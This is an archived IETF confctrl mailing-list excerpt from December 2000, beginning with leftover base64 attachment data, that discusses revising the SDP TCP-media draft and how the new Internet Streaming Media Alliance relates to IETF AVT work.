b/8Aiib/AFCkl/i3/wDFE3+oUlD/AOCP8FPR/9QH+Mj/AMUTv6gXO4Gff0/JblUBjns5ZY0P
Y4d2PY/95dF/jI/8UTv6gXLBxaQQYIMg+YWniF4og9lp3fZm53Tz00YfoYv7Rdjfav2V7du/
b6m3Zt/f/k715Dn9Qv6jkuyr2sY5/FdTAxjR2YxjP3UL7Rf6/wBp9R3r7t/qyd+7nfv+luUC
4uJc4ySSSfMoYsIxkm7v8FErJKTarHse9jS5lQDrHAaNBOwOd/aUVKhSSSSKlJJJJKUkiU49
17ntpYXmtjrXgdmME2P/ALKGgp9G+qf1vZ07oLbev5Ze193pYTY32+m2Gvsf+e6lln57lzn1
66pm5vWXsfki/AAbZhCs/o/TeNzX+36Vn5r3rnJP8Akoo4YxmZjc+H/RTb1X+Lf/AMUTf6hS
S/xb/wDiib/UKSb/AOCP8FXR/9UH+Mj/AMUTv6gXKrqv8Y//AIonf1AuVWph/m4+Sw7qUqjU
LGm1rn1z72sO1xHfa4h21yiknqfUfqv9WPq5mdCy34Vl9tHVGela66BZXsP0GQwN3Ms9y8/6
5T0bHzHY/SX33V0ktsvvIG5w9rvSraxm1rf5aOz62dYx6sOjBuOJRgD9FVXw53NlmRP896jj
9D6Czs/LObmXZbmNqdkPNj2M+iHO+ntn953uUOPHOM5GUiQdtf8ApJJQTCt4PTb87GzcmiCz
p9Qut7yC7Zt/7+q9Vj6bWW1na+shzTzBHk5esfVjreBZ0XEt6sMXDyOoF1bGBraxcGksbYa4
/P8A+20c2SUACBdn+WigHyMOB4IPwUgQCCRuAOoOkjw0Wz9a+oZeV1a/GvprxWYljq68elga
0QY3ucA11jntWKpImwCRV+KH0/6idN+reZh35+Di2022MOJlV3PNjQHAOsbS930muXGfWrH6
Dg51nTuk49zH4zy2+66wukj8yqs/mf8ACOVEdb6jXg0YFFzsfHx3G0ColpdYTu9a17fc9/7i
H1HqOT1LJ+15UOyHNa2ywCN5aNvqPH+k2/SUUMUhkMjImJ6X/iptqpJJKZD1X+Lf/wAUTf6h
SS/xb/8Aiib/AFCkoP8AwR/gp6P/1tT63/VDrHWOsPysVjRUGhoLjysT/wAbf6xfus+9eYpK
9j9/gjw8NVot0fTv/G3+sX7rPvS/8bf6xfus+9eYpJ39I/qq0fTv/G3+sX7rPvS/8bf6xfus
+9eYpJf0j+qrR9O/8bf6xfus+9Ss/wAXf1mtINm1+1oY3c6YaPosb/JXl6SX9I/qq0fULP8A
F39ZrX77S17yAC5zpMAbW6lR/wDG3+sX7rPvXmKSX9I/qK0fTv8Axt/rF+6z70v/ABt/rF+6
z715ikl/SP6qtH07/wAbf6xfus+9L/xt/rF+6z715ikl/SP6qtH2n6ofVDrHR+sMyspjTUWl
pLTwkvFklF+t979Hj4fpSdKf/9k=
--------------9965E82385A6EB74B08966FB--

--------------48341065131CC06C7C7DB866--




From confctrl-owner  Wed Dec 13 16:25:13 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id QAA20010
	for confctrl-outgoing; Wed, 13 Dec 2000 16:25:13 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA20005
	for <confctrl@zephyr.isi.edu>; Wed, 13 Dec 2000 16:25:12 -0800 (PST)
Received: from gromit.tactical-sw.com (207-77-57-190-inaddr.net1plus.com [207.77.57.190])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id QAA13618
	for <confctrl@ISI.EDU>; Wed, 13 Dec 2000 16:25:05 -0800 (PST)
Received: from yon-notebook.dialout.net (ietf.207.137.70.105.tx.verio.net [207.137.70.105])
	by gromit.tactical-sw.com (8.10.1/8.9.1) with ESMTP id eBE0OrY27906
	for <confctrl@ISI.EDU>; Wed, 13 Dec 2000 19:24:54 -0500 (EST)
Message-Id: <5.0.0.25.2.20001213185659.02891840@hither.rfdsoftware.com>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Wed, 13 Dec 2000 19:25:58 -0500
To: confctrl@ISI.EDU
From: David Yon <yon@dialout.net>
Subject: Iterating draft-ietf-mmusic-sdp-tcpmedia-00.txt
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Thanks everyone for the warm reception and feedback at the MMUSIC WG 
meeting today.  While it is fresh in everyone's mind, I'd like to collect a 
laundry list of discussion items for the next version of the draft.

Jonathan suggested that we fold in all the connection-oriented protocols 
that we currently know about into the draft.  SSL, TLS, RTSP, et al.  While 
I wish I was an encyclopedia of existing network protocols, I'm not. 
:-)  So if folks could chime in with their favorite connection-oriented 
protocols they would like to see listed, that would help me a great deal.

On that topic, apparently there is an ambiguity as to what is meant by 
"RTP/AVP-TCP".  If there are still issues to be hammered out on how RTP/AVP 
is transported over TCP, I would submit that it is not an issue to be 
addressed by my draft.  On the other hand, correct me if I'm wrong, but I 
*thought* I was hearing that perhaps there were two competing ways to do 
it.  If that's the case, it seems like we should either standardize on one 
approach (elsewhere), or my draft should list two different protocol names 
(i.e., RTP/AVP-TCP-1 and RTP/AVP-TCP-2 for lack of a better naming 
covention).  Feedback on this issue is greatly appreciated.

I didn't hear any dissent on having "direction:both" be the default value, 
any objection?

Brian Rosen spoke with me afterward and suggested that the draft might be 
unnecessarily biased towards TCP, whereas with some minor rewording it 
might expand in scope to all connection-oriented protocols without any 
additional complexity.  Brian if you could elaborate on this a bit that 
would be helpful.  I have a few reservations about it but I'd like to hear 
again what you are looking for so that I'm fully understanding what you are 
after.

Several people pointed out that my firewall example was flawed, at least in 
the case of the firewall performing N/PAT.  Well, yes.  But I would just 
like to clarify that the draft, by itself, is not a complete firewall 
solution nor is it intended to be.  It can, in some cases, help the 
situation by (a) allowing media endpoints be more firewall friendly, and 
(b) making it easier to write ALP's as the long-term solution.  But at the 
end of the day it is a non-goal for this draft to provide a complete answer 
to the firewall and N/PAT boondoggle.

Based on the meeting, that's all I can think of for open issues.  If anyone 
else has comments feel free to elaborate.

And thanks again to everyone!


David Yon
Chief Technical Officer
Dialout.Net, Inc.
yon@dialout.net


From confctrl-owner  Wed Dec 13 20:05:43 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id UAA28453
	for confctrl-outgoing; Wed, 13 Dec 2000 20:05:43 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA28448
	for <confctrl@zephyr.isi.edu>; Wed, 13 Dec 2000 20:05:42 -0800 (PST)
Received: from acsys.anu.edu.au (acsys.anu.edu.au [150.203.20.41])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id UAA09331
	for <confctrl@ISI.EDU>; Wed, 13 Dec 2000 20:05:39 -0800 (PST)
Received: from accordion ([150.203.56.21])
	by acsys.anu.edu.au (8.9.3/8.9.3) with SMTP id PAA14177;
	Thu, 14 Dec 2000 15:05:31 +1100 (EST)
Message-Id: <3.0.32.20001214150518.01314e70@acsys.anu.edu.au>
X-Sender: markus@acsys.anu.edu.au
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 14 Dec 2000 15:05:20 +1100
To: Dave Singer <singer@apple.com>, confctrl@ISI.EDU, rem-conf@es.net,
        Guido.Franceschini@CSELT.IT, 4on2andIP-sys@advent.ee.columbia.edu,
        jan.vandermeer@philips.com
From: Markus Buchhorn <markus@acsys.anu.edu.au>
Subject: Internet Streaming Media Alliance and MPEG4 on IP
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi All

Could somebody please explain to me what Apple/Sun/Cisco/... are doing in
the ISMA, which is different to what has been discussed on these lists for
some time? Or have these discussions been part of the ISMA's work?

http://www.isma.tv/

>          The first specification from the
>          ISMA will define an implementation agreement for streaming
MPEG-4 video
>          and audio over IP networks.
>
>          In preparation for the launch of the Alliance, members have been
working to
>          develop an initial specification for MPEG-4 over IP, which will
be circulated for
>          review and input at the initial meeting of the ISMA in February
2001. This first
>          meeting will be open to any company interested in becoming an
ISMA member.

Thanks!

Cheers,
	Markus

Markus Buchhorn,  Advanced Computational Systems CRC     | Ph: +61 2 62798810
email: markus@acsys.anu.edu.au, snail: ACSys, RSISE Bldg,|Fax: +61 2 62799805
Australian National University, Canberra 0200, Australia |Mobile: 0417 281429
 **From 1 Jan 2001:  Ph +61 2 61258810,  Fax: TBD...,  Mobile: unchanged **

From confctrl-owner  Wed Dec 13 20:19:43 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id UAA28888
	for confctrl-outgoing; Wed, 13 Dec 2000 20:19:43 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA28883
	for <confctrl@zephyr.isi.edu>; Wed, 13 Dec 2000 20:19:41 -0800 (PST)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id UAA12640
	for <confctrl@isi.edu>; Wed, 13 Dec 2000 20:19:41 -0800 (PST)
Received: from mailgate2.apple.com (A17-129-100-225.apple.com [17.129.100.225])
	by mail-out1.apple.com (8.9.3/8.9.3) with ESMTP id UAA06128
	for <confctrl@isi.edu>; Wed, 13 Dec 2000 20:19:39 -0800 (PST)
Received: from scv3.apple.com (scv3.apple.com) by mailgate2.apple.com
 (Content Technologies SMTPRS 4.1.2) with ESMTP id <T118164e1507693c4d1@mailgate2.apple.com>;
 Wed, 13 Dec 2000 20:19:39 -0800
Received: from [207.137.72.236] (vpn-gh-1035.apple.com [17.254.140.10])
	by scv3.apple.com (8.9.3/8.9.3) with ESMTP id UAA03706;
	Wed, 13 Dec 2000 20:19:38 -0800 (PST)
Mime-Version: 1.0
X-Sender: singer@mail.apple.com (Unverified)
Message-Id: <p05010402b65df9bd2015@[207.137.72.236]>
In-Reply-To: <3.0.32.20001214150518.01314e70@acsys.anu.edu.au>
References: <3.0.32.20001214150518.01314e70@acsys.anu.edu.au>
Date: Wed, 13 Dec 2000 20:19:06 -0800
To: Markus Buchhorn <markus@acsys.anu.edu.au>
From: Dave Singer <singer@apple.com>
Subject: Re: Internet Streaming Media Alliance and MPEG4 on IP
Cc: confctrl@ISI.EDU, rem-conf@es.net, Guido.Franceschini@CSELT.IT,
        4on2andIP-sys@advent.ee.columbia.edu, jan.vandermeer@philips.com
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 3:05 PM +1100 12/14/00, Markus Buchhorn wrote:
>Hi All
>
>Could somebody please explain to me what Apple/Sun/Cisco/... are doing in
>the ISMA, which is different to what has been discussed on these lists for
>some time? Or have these discussions been part of the ISMA's work?
>
>http://www.isma.tv/

I'm not an official ISMA spokesperson, but here goes.  For a start, I 
expect any specs that are to be published will be submitted to the 
IETF, ISO et al. as appropriate.  The ISMA members might get together 
to help write etc., but I don't think this is a standards body per 
se.  The ISMA will expect members to implement the agreed-to specs, 
and will hold interop events to make sure that the specs and 
implementations are good.  They will also promote the use of these 
specs from the IETF and ISO, with the goal of making internet-based 
multimedia as open and multivendor as, say, http and html are today 
(perhaps a bad analogy, given the rocky road HTML has had, but you 
probably see what I mean).

>
>>           The first specification from the
>>           ISMA will define an implementation agreement for streaming
>MPEG-4 video
>>           and audio over IP networks.
>>
>>           In preparation for the launch of the Alliance, members have been
>working to
>>           develop an initial specification for MPEG-4 over IP, which will
>be circulated for
>>           review and input at the initial meeting of the ISMA in February
>2001. This first
>>           meeting will be open to any company interested in becoming an
>ISMA member.
>
>Thanks!
>
>Cheers,
>	Markus
>
>Markus Buchhorn,  Advanced Computational Systems CRC     | Ph: +61 2 62798810
>email: markus@acsys.anu.edu.au, snail: ACSys, RSISE Bldg,|Fax: +61 2 62799805
>Australian National University, Canberra 0200, Australia |Mobile: 0417 281429
>  **From 1 Jan 2001:  Ph +61 2 61258810,  Fax: TBD...,  Mobile: unchanged **

-- 
David Singer
Apple Computer/QuickTime

From confctrl-owner  Wed Dec 13 21:50:46 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id VAA02296
	for confctrl-outgoing; Wed, 13 Dec 2000 21:50:46 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA02291
	for <confctrl@zephyr.isi.edu>; Wed, 13 Dec 2000 21:50:41 -0800 (PST)
Received: from multicasttech.com (IDENT:root@ns2.multicasttech.com [63.105.122.8])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id VAA02756
	for <confctrl@isi.edu>; Wed, 13 Dec 2000 21:50:40 -0800 (PST)
Received: from [207.137.70.59] (HELO 21rst-century.com)
  by multicasttech.com (CommuniGate Pro SMTP 3.3)
  with ESMTP id 630129; Thu, 14 Dec 2000 00:53:00 -0500
Message-ID: <3A385FFE.8122F67E@21rst-century.com>
Date: Thu, 14 Dec 2000 00:52:01 -0500
From: Marshall Eubanks <tme@21rst-century.com>
Reply-To: tme@21rst-century.com
Organization: Multicast Technologies
X-Mailer: Mozilla 4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Dave Singer <singer@apple.com>
CC: Markus Buchhorn <markus@acsys.anu.edu.au>, confctrl@ISI.EDU,
        rem-conf@es.net, Guido.Franceschini@CSELT.IT,
        4on2andIP-sys@advent.ee.columbia.edu, jan.vandermeer@philips.com
Subject: Re: Internet Streaming Media Alliance and MPEG4 on IP
References: <3.0.32.20001214150518.01314e70@acsys.anu.edu.au> <p05010402b65df9bd2015@[207.137.72.236]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dave Singer wrote:
> 
> At 3:05 PM +1100 12/14/00, Markus Buchhorn wrote:
> >Hi All
> >
> >Could somebody please explain to me what Apple/Sun/Cisco/... are doing in
> >the ISMA, which is different to what has been discussed on these lists for
> >some time? Or have these discussions been part of the ISMA's work?
> >
> >http://www.isma.tv/
> 
> I'm not an official ISMA spokesperson, but here goes.  For a start, I
> expect any specs that are to be published will be submitted to the
> IETF, ISO et al. as appropriate.  The ISMA members might get together
> to help write etc., but I don't think this is a standards body per
> se.  The ISMA will expect members to implement the agreed-to specs,
> and will hold interop events to make sure that the specs and
> implementations are good.  They will also promote the use of these
> specs from the IETF and ISO, with the goal of making internet-based
> multimedia as open and multivendor as, say, http and html are today
> (perhaps a bad analogy, given the rocky road HTML has had, but you
> probably see what I mean).
> 

Is this different from or in competition with the Audio Visual Transport (AVT)
working group in the IETF  ? Why is another standards body needed ? Why didn't
they present today in the AVT meeting (there is still another chance
tomorrow) ?


                                   Regards
                                   Marshall Eubanks (from the 49th IETF)

   Multicast Technologies, Inc.
   10301 Democracy Lane, Suite 201
   Fairfax, Virginia 22030
   Phone : 703-293-9624          Fax     : 703-293-9609     
   e-mail : tme@on-the-i.com     http://www.on-the-i.com

From confctrl-owner  Wed Dec 13 22:41:59 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id WAA04298
	for confctrl-outgoing; Wed, 13 Dec 2000 22:41:59 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA04293
	for <confctrl@zephyr.isi.edu>; Wed, 13 Dec 2000 22:41:57 -0800 (PST)
Received: from ns.live.com (ns.live.com [208.184.148.162])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id WAA13581
	for <confctrl@ISI.EDU>; Wed, 13 Dec 2000 22:41:56 -0800 (PST)
Received: from rsf-laptop.live.com (dhcp0.live.com [208.184.148.170])
	by ns.live.com (8.9.3/8.9.3) with ESMTP id WAA94423;
	Wed, 13 Dec 2000 22:41:46 -0800 (PST)
	(envelope-from finlayson@live.com)
Message-Id: <4.3.1.1.20001213222157.00b5e560@localhost>
X-Sender: rsf@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Wed, 13 Dec 2000 22:41:31 -0800
To: Markus Buchhorn <markus@acsys.anu.edu.au>
From: Ross Finlayson <finlayson@live.com>
Subject: Re: Internet Streaming Media Alliance and MPEG4 on IP
Cc: confctrl@ISI.EDU, rem-conf@es.net
In-Reply-To: <3.0.32.20001214150518.01314e70@acsys.anu.edu.au>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 08:05 PM 12/13/00, Markus Buchhorn wrote:
>Could somebody please explain to me what Apple/Sun/Cisco/... are doing in
>the ISMA, which is different to what has been discussed on these lists for
>some time?

I rarely pay much attention to "industry consortia" like this.  They are 
typically set up for largely political purposes, and often don't last very 
long.  (Hint: You can usually find the *true* reason for such a consortium 
by looking at its list of members, and noting which prominent 
company/companies in the field are *not* on the list.)

If this organization's goal is, indeed, to promote interoperability using 
open standards, then it may well end up being Mostly Harmless.  In any 
event, the primary organization that I'll be looking towards to meet this 
goal will continue to be the IETF...

         Ross (who decided to forego the overcrowded IETF meeting this time)


From confctrl-owner  Thu Dec 14 01:02:58 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA09618
	for confctrl-outgoing; Thu, 14 Dec 2000 01:02:58 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA09613
	for <confctrl@zephyr.isi.edu>; Thu, 14 Dec 2000 01:02:56 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id BAA14763
	for <confctrl@ISI.EDU>; Thu, 14 Dec 2000 01:02:55 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id EAA00233;
	Thu, 14 Dec 2000 04:05:28 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <X20750T0>; Thu, 14 Dec 2000 04:00:36 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF9AAE34@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'David Yon'" <yon@dialout.net>, confctrl@ISI.EDU
Subject: RE: Iterating draft-ietf-mmusic-sdp-tcpmedia-00.txt
Date: Thu, 14 Dec 2000 04:00:33 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: David Yon [mailto:yon@dialout.net]
> Sent: Wednesday, December 13, 2000 4:26 PM
> To: confctrl@ISI.EDU
> Subject: Iterating draft-ietf-mmusic-sdp-tcpmedia-00.txt
> 
> 
> Thanks everyone for the warm reception and feedback at the MMUSIC WG 
> meeting today.  While it is fresh in everyone's mind, I'd 
> like to collect a 
> laundry list of discussion items for the next version of the draft.
> 
> Jonathan suggested that we fold in all the 
> connection-oriented protocols 
> that we currently know about into the draft.  SSL, TLS, RTSP, 
> et al. 


SCTP (rfc2960), not RTSP.

> While 
> I wish I was an encyclopedia of existing network protocols, I'm not. 
> :-)  So if folks could chime in with their favorite 
> connection-oriented 
> protocols they would like to see listed, that would help me a 
> great deal.

I think if we have TLS (no need for a separate SSL identifier), TCP, and
SCTP, we are covered.

> 
> On that topic, apparently there is an ambiguity as to what is 
> meant by 
> "RTP/AVP-TCP".  If there are still issues to be hammered out 
> on how RTP/AVP 
> is transported over TCP, I would submit that it is not an issue to be 
> addressed by my draft.

rfc1890bis,
http://www.ietf.org/internet-drafts/draft-ietf-avt-profile-new-09.txt,
defines a default encapsulation format when none is defined. THis format is
simply to append each packet with a two byte length. There is a somewhat
annoying problem here, however.

The tcpmedia draft would depend on this mechanism as a normative reference.
Thus, it could not proceed to proposed until rfc1890bis goes to draft. At
the current pace, that should be sometime in 2005.

So, we have a few options. THe best one is to probably define a separate
"Generic transport of RTP over stream protocols", which is a one page
document that says "append each packet with a two byte length". Then, we can
progress that document alone to proposed along with the tcpmedia draft,
which would reference it.

The other encapsulation, defined by RTSP (rfc2326), is interesting. It
encapsulates the RTP stream within the same TCP connection that carries RTSP
messages. What is interesting about it is that we could conceivably do the
same for SIP; I think this is orthogonal to the SDP issue, but interesting
to consider. Might be a somewhat cleaner way to deal with firewalls and
NATs.

Note that RTSP calls the usage of TCP over the RTSP TCP connection
"RTP/AVP/TCP".


> I didn't hear any dissent on having "direction:both" be the 
> default value, 
> any objection?

I think that this is the most reasonable thing. Anything else would require
a different default in each direction, which is more confusing.


> 
> Brian Rosen spoke with me afterward and suggested that the 
> draft might be 
> unnecessarily biased towards TCP, whereas with some minor 
> rewording it 
> might expand in scope to all connection-oriented protocols 
> without any 
> additional complexity.  Brian if you could elaborate on this 
> a bit that 
> would be helpful.  I have a few reservations about it but I'd 
> like to hear 
> again what you are looking for so that I'm fully 
> understanding what you are 
> after.

I think the only issue is really the tokens to identify the protocols. The
action of "opening a connection" is common to all connection oriented
transports.

-Jonathan R.
---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Thu Dec 14 02:10:24 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id CAA12009
	for confctrl-outgoing; Thu, 14 Dec 2000 02:10:24 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA12004
	for <confctrl@zephyr.isi.edu>; Thu, 14 Dec 2000 02:10:22 -0800 (PST)
Received: from gw-nl4.philips.com (gw-nl4.philips.com [212.153.190.6])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id CAA29499
	for <confctrl@ISI.EDU>; Thu, 14 Dec 2000 02:10:21 -0800 (PST)
From: jan.vandermeer@philips.com
Received: from smtprelay-nl1.philips.com (localhost.philips.com [127.0.0.1])
          by gw-nl4.philips.com with ESMTP id LAA19593;
          Thu, 14 Dec 2000 11:10:09 +0100 (MET)
          (envelope-from jan.vandermeer@philips.com)
Received: from smtprelay-eur1.philips.com(130.139.36.3) by gw-nl4.philips.com via mwrap (4.0a)
	id xma019591; Thu, 14 Dec 00 11:10:10 +0100
Received: from notessmtp-nl1.philips.com (notessmtp-nl1.philips.com [130.139.36.10]) 
	by smtprelay-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id LAA00855; Thu, 14 Dec 2000 11:10:08 +0100 (MET)
Received: from EHLMS01.DIAMOND.PHILIPS.COM (ehlmsn2.philips.com [130.139.54.212]) 
	by notessmtp-nl1.philips.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id LAA16082; Thu, 14 Dec 2000 11:10:07 +0100 (MET)
Received: by EHLMS01.DIAMOND.PHILIPS.COM (Soft-Switch LMS 4.0) with snapi
          via EMEA3 id 0056890016914111; Thu, 14 Dec 2000 11:11:59 +0100
To: <singer@apple.com>, <tme@21rst-century.com>
Cc: <markus@acsys.anu.edu.au>, <confctrl@ISI.EDU>, <rem-conf@es.net>,
        <Guido.Franceschini@CSELT.IT>, <4on2andIP-sys@advent.ee.columbia.edu>
Subject: RE: Internet Streaming Media Alliance and MPEG4 on IP
Message-ID: <0056890016914111000002L912*@MHS>
Date: Thu, 14 Dec 2000 11:11:59 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; name="MEMO 12/14/00 11:08:17"
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id CAA12005
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Marshall Eubanks wrote:

>Is this different from or in competition with the Audio Visual Transport
(AVT)
>working group in the IETF  ? Why is another standards body needed ? Why
didn't
>they present today in the AVT meeting (there is still another chance
>tomorrow) ?

This is about a standard at application level: "Fully interoperable A/V
streaming services over IP". To achieve interoperability, agreement is
needed on the use of a set of protocols, amongst others from the AVT group
in IETF. I would hope that ISMA does not need to invent new protocols, but
can build on top of existing ones. Though not all may be in full existence
yet, for example some RTP Payload format for MPEG-4. But in competition with
AVT ? Never.

Kind regards,

Jan van der Meer

************************
Jan van der Meer
Philips - Digital Networks
Building OAN-4
P.O. Box 80002
5600 JB Eindhoven
The Netherlands
Phone +31 402 735 774
Fax +31 402 735 545
Email jan.vandermeer@philips.com
************************





From confctrl-owner  Thu Dec 14 05:37:50 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA18733
	for confctrl-outgoing; Thu, 14 Dec 2000 05:37:50 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA18728
	for <confctrl@zephyr.isi.edu>; Thu, 14 Dec 2000 05:37:49 -0800 (PST)
Received: from basto.stsn.com (p5.usslc14.stsn.com [12.23.74.5])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id FAA12685
	for <confctrl@ISI.EDU>; Thu, 14 Dec 2000 05:37:48 -0800 (PST)
Received: from young ([10.120.45.64])
	by basto.stsn.com (8.9.3/8.8.7) with SMTP id GAA12742;
	Thu, 14 Dec 2000 06:36:46 -0700
Message-ID: <006f01c065d2$c7511050$402d780a@techway.co.kr>
From: "Young-Kwon LIM" <young@techway.co.kr>
To: <jan.vandermeer@philips.com>, <singer@apple.com>, <tme@21rst-century.com>
Cc: <markus@acsys.anu.edu.au>, <confctrl@ISI.EDU>, <rem-conf@es.net>,
        <Guido.Franceschini@cselt.it>, <4on2andIP-sys@advent.ee.columbia.edu>
References: <0056890016914111000002L912*@MHS>
Subject: Re: Internet Streaming Media Alliance and MPEG4 on IP
Date: Thu, 14 Dec 2000 22:35:23 +0900
Organization: mp4cast
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by zephyr.isi.edu id FAA18729
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Jan and all,

> 
> This is about a standard at application level: "Fully interoperable A/V
> streaming services over IP". To achieve interoperability, agreement is
> needed on the use of a set of protocols, amongst others from the AVT group
> in IETF. I would hope that ISMA does not need to invent new protocols, but
> can build on top of existing ones. Though not all may be in full existence
> yet, for example some RTP Payload format for MPEG-4. But in competition with
> AVT ? Never.
> 

I agree. I believe we, MPEG and IETF AVTR, can cooperate with ISMA in various way to make the better standard, widely accepted! Are there anyone involved in ISMA technically?

Sincerely,
Young.

From confctrl-owner  Thu Dec 14 08:03:46 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA23785
	for confctrl-outgoing; Thu, 14 Dec 2000 08:03:46 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA23780
	for <confctrl@zephyr.isi.edu>; Thu, 14 Dec 2000 08:03:43 -0800 (PST)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA15197
	for <confctrl@isi.edu>; Thu, 14 Dec 2000 08:03:39 -0800 (PST)
Received: from mailgate2.apple.com (A17-129-100-225.apple.com [17.129.100.225])
	by mail-out1.apple.com (8.9.3/8.9.3) with ESMTP id IAA19529
	for <confctrl@isi.edu>; Thu, 14 Dec 2000 08:03:39 -0800 (PST)
Received: from scv3.apple.com (scv3.apple.com) by mailgate2.apple.com
 (Content Technologies SMTPRS 4.1.2) with ESMTP id <T118164e15079184a21@mailgate2.apple.com>;
 Thu, 14 Dec 2000 08:03:38 -0800
Received: from [207.137.73.29] (vpn-gh-587.apple.com [17.254.138.74])
	by scv3.apple.com (8.9.3/8.9.3) with ESMTP id IAA06353;
	Thu, 14 Dec 2000 08:03:37 -0800 (PST)
Mime-Version: 1.0
X-Sender: singer@mail.apple.com (Unverified)
Message-Id: <p05010400b65e9ef94b7d@[207.137.73.29]>
In-Reply-To: <3A385FFE.8122F67E@21rst-century.com>
References: <3.0.32.20001214150518.01314e70@acsys.anu.edu.au>
 <p05010402b65df9bd2015@[207.137.72.236]>
 <3A385FFE.8122F67E@21rst-century.com>
Date: Thu, 14 Dec 2000 08:00:53 -0800
To: tme@21rst-century.com
From: Dave Singer <singer@apple.com>
Subject: Re: Internet Streaming Media Alliance and MPEG4 on IP
Cc: Markus Buchhorn <markus@acsys.anu.edu.au>, confctrl@ISI.EDU,
        rem-conf@es.net, Guido.Franceschini@CSELT.IT,
